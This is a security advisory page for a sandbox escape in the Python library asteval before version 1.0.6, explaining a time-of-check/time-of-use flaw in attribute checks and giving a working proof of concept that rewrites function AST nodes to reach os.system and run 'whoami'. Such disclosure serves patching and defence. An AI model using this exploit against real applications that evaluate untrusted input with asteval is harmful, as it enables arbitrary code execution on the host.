GHSA-vp47-9734-prjw: ASTEVAL Allows Malicious Tampering of Exposed AST Nodes Leads to Sandbox Escape
Noroxi assessment
Priority: Monitor (action score 33/100)
- The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
- Someone with local access to the system can trigger it. No account or password is required. No user action is required. No special conditions are required; it is repeatable.
- Fixed version: asteval (PyPI) 1.0.6.
Low priority for now. Upgrade to asteval (PyPI) 1.0.6 or later.
Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it
Primary sources: OSV
### Summary If an attacker can control the input to the asteval library, they can bypass its safety restrictions and execute arbitrary Python code within the application's context. ### Details The vulnerability is rooted in how `asteval` performs attribute access verification. In particular, the [`on_attribute`](https://github.com/lmfit/asteval/blob/8d7326df8015cf6a57506b1c2c167a1c3763e090/asteval/asteval.py#L565) node handler prevents access to attributes that are either present in the `UNSAFE_ATTRS` list or are formed by names starting and ending with `__`, as shown in the code snippet below: ```py def on_attribute(self, node): # ('value', 'attr', 'ctx') """Extract attribute.""" ctx = node.ctx.__class__ if ctx == ast.Store: msg = "attribute for storage: shouldn't be here!" self.raise_exception(node, exc=RuntimeError, msg=msg) sym = self.run(node.value) if ctx == ast.Del: return delattr(sym, node.attr) # unsafe = (node.attr in UNSAFE_ATTRS or (node.attr.startswith('__') and node.attr.endswith('__'))) if not unsafe: for dtype, attrlist in UNSAFE_ATTRS_DTYPES.items(): unsafe = isinstance(sym, dtype) and node.attr in attrlist if unsafe: break if unsafe: msg = f"no safe attribute '{node.attr}' for {repr(sym)}" self.raise_exception(node, exc=AttributeError, msg=msg) else: try: return getattr(sym, node.attr) except AttributeError: pass ``` While this check is intended to block access to sensitive Python dunder methods (such as `__getattribute__`), the flaw arises because instances of the `Procedure` class expose their AST (stored in the `body` attribute) without proper protection: ```py class Procedure: """Procedure: user-defined function for asteval. This stores the parsed ast nodes as from the 'functiondef' ast node for later evaluation. """ def __init__(self, name, interp, doc=None, lineno=0, body=None, args=None, kwargs=None, vararg=None, varkws=None): """TODO: docstring in public method.""" self.__ininit__ = True self.name = name self.__name__ = self.name self.__asteval__ = interp self.raise_exc = self.__asteval__.raise_exception self.__doc__ = doc self.body = body self.argnames = args self.kwargs = kwargs self.vararg = vararg self.varkws = varkws self.lineno = lineno self.__ininit__ = False ``` Since the `body` attribute is not protected by a naming convention that would restrict its modification, an attacker can modify the AST of a `Procedure` during runtime to leverage unintended behaviour. The exploit works as follows: 1. **The Time of Check, Time of Use (TOCTOU) Gadget:** In the [code](https://github.com/lmfit/asteval/blob/8d7326df8015cf6a57506b1c2c167a1c3763e090/asteval/asteval.py#L577) below, a variable named `unsafe` is set based on whether `node.attr` is considered unsafe: ```python unsafe = (node.attr in UNSAFE_ATTRS or (node.attr.startswith('__') and node.attr.endswith('__'))) ``` 2. **Exploiting the TOCTOU Gadget:** An attacker can abuse this gadget by hooking any `Attribute` AST node that is not in the `UNSAFE_ATTRS` list. The attacker modifies the `node.attr.startswith` function so that it points to a custom procedure. This custom procedure performs the following steps: - It replaces the value of `node.attr` with the string `"__getattribute__"` and returns `False`. - Thus, when `node.attr.startswith('__')` is evaluated, it returns `False`, which causes the condition to short-circuit and sets `unsafe` to `False`. - However, by that time, `node.attr` has been changed to `"__getattribute__"`, which will be used in the subsequent `getattr(sym, node.attr)` call. An attacker can then use the obtained reference to `sym.__getattr__`to retrieve malicious attributes without needing to pass the `on_attribute` checks. ### PoC The following proof-of-concept (PoC) demonstrates how this vulnerability can be exploited to execute the `whoami` command on the host machine: ```py from asteval import Interpreter aeval = Interpreter() code = """ ga_str = "__getattribute__" def lender(): a b def pwn(): ga = lender.dontcare init = ga("__init__") ga = init.dontcare globals = ga("__globals__") builtins = globals["__builtins__"] importer = builtins["__import__"] importer("os").system("whoami") def startswith1(str): # Replace the attr on the targeted AST node with "__getattribute__" pwn.body[0].value.attr = ga_str return False def startswith2(str): pwn.body[2].value.attr = ga_str return False n1 = lender.body[0] n1.startswith = startswith1 pwn.body[0].value.attr = n1 n2 = lender.body[1] n2.startswith = startswith2 pwn.body[2].value.attr = n2 pwn() """ aeval(code) ```
- Published
- Jan 23, 2025
- Updated
- Jan 23, 2025
- EPSS
- —
- CWE
- CWE-367
Report tools
Action score
33
Low priority for now.
- CVSS
- 33 / 40 · 8.4 / 10
- CISA KEV
- 0 / 30 · Not listed
- EPSS
- 0 / 30 · —
Get told when this record changes
- Not in KEV: no record of exploitation in the wild
- No public exploit code on record
- A fix has been released
If any of these changes, we'll tell you in the daily email digest.
Is your version affected? Check itNoroxi analysis
What does it mean in your environment?
The assessment above is generated automatically from the record's data; it doesn't know your environment. Our team verifies on your systems whether this vulnerability is actually exploitable and which mitigation is enough.
We use this product, ask for helpAffected systems
Is your version affected?
Pick the product and type the version you run. It's compared with this record's version ranges in your browser; the version isn't sent anywhere.
| Vendor | Product | CPE |
|---|---|---|
| PyPI | asteval | pkg:pypi/asteval |
Package-level exposure
OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.
| Ecosystem | Package | Affected range | Fix |
|---|---|---|---|
| PyPI | asteval | before 1.0.6 | 1.0.6 |
Remediation
Which version to upgrade to
Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.
| Product / package | Fixed version | Source |
|---|---|---|
| PyPI:asteval | 1.0.6 | Package registry (OSV) |
Exploit status
No known public exploit
No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.
Research context
For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.
Timeline
From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.
No dated events beyond publication.
Patch and commit links
Commit, PR and diff links among the references. A starting point for patch-diffing and variant hunting; fixes, not exploits.
Not on record for this CVE: EPSS history · researcher credit · variant or chain candidate · public bounty program.
Technical details
Attack conditions
- Someone with local access to the system can trigger it.
- No account or password is required.
- No user action is required.
- No special conditions are required; it is repeatable.
If successful
- Confidentiality
- high · data can be read
- Integrity
- high · data or configuration can be modified
- Availability
- high · the service can be disrupted
- Attack vector
- Local
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality impact
- High
- Integrity impact
- High
- Availability impact
- High
Weakness class (CWE)
CWE-367 · Time-of-check Time-of-use (TOCTOU) Race ConditionCVSS vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
osv
Attack context
MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.
Change log (1)
- Fix✗ → ✓
For records you follow, these changes also arrive as notifications. →
References
Show all references (2 more)Show less
Vendor advisories and official records. Exploit/PoC links are deliberately left out.